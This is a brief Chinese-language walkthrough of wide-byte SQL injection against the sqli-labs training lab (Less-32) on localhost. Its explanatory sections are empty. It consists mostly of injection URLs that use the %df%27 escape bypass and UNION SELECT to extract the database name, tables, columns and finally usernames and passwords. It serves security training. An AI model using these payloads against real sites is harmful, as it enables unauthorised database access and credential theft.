sql注入之宽字节注入

宽字节注入的常见过滤函数







2.宽字节注入的条件









3.确定宽字节注入点 http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27


http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27-- +



确定字符段 http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27 order by 3-- +
确定数据库输出的地方
http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,2,3-- +



爆出数据库 http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,database(),3-- +



查出表名 http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+


爆出列名 http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+


爆出用户名密码 http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df%27 union select 1,(select group_concat(username,0x7e,password) from users),3--+